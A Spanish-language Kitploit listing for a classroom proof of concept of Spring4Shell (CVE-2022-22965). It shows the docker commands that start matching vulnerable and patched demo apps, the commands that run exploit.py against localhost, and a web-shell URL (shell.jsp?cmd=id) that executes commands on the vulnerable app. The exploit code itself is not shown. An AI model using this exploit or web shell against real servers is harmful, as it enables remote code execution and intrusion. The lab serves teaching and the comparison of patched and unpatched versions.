Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CS4239-Spring4Shell-POC — CVE-2022-22965 prueba de concepto para el informe CS4239 | Kitploit
Herramientas/GitHubGitHub/xenosf/cs4239-spring4shell-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubxenosf/cs4239-spring4shell-poc

CS4239-Spring4Shell-POC

CVE-2022-22965 prueba de concepto para el informe CS4239

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CS4239-Spring4Shell-POC

Prueba de concepto para CVE-2022-22965 (Spring4Shell) para el informe CS4239 G410. Adaptado de este PoC para demostrar el comportamiento sin parche y con parche.

Ejecutando la demo

Hay 2 programas de ejemplo (dockerizados) en este repositorio con código fuente idéntico. Uno usa una versión vulnerable de Spring Boot mientras que el otro usa una versión parcheada. Tomcat también lanzó un parche para esta vulnerabilidad, pero la misma versión vulnerable de Tomcat se usa para esta demo para aislar los efectos del parche de Spring.

Para ejecutar las aplicaciones demo:

root@kitploit:~
docker compose build
docker compose up
  • vulnerable:
    • localhost:8080/helloworld/greeting
    • tomcat 9.0.56 (vulnerable), spring boot 2.6.3 (depende de spring framework 5.3.15 vulnerable)
  • parcheado:
    • localhost:8081/helloworld/greeting
    • tomcat 9.0.56 (vulnerable), spring boot 2.6.6 (depende de spring framework 5.3.18 parcheado)

Para ejecutar el exploit:

root@kitploit:~
# vulnerable
python exploit.py --url "http://localhost:8080/helloworld/greeting"

# patched
python exploit.py --url "http://localhost:8081/helloworld/greeting"

Si el exploit funciona, aparecerá una nueva página que permite ejecutar comandos. Ejemplo de ejecución de id:

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id

El exploit no funciona para la versión parcheada - shell.jsp no se inyecta.

Descargar herramienta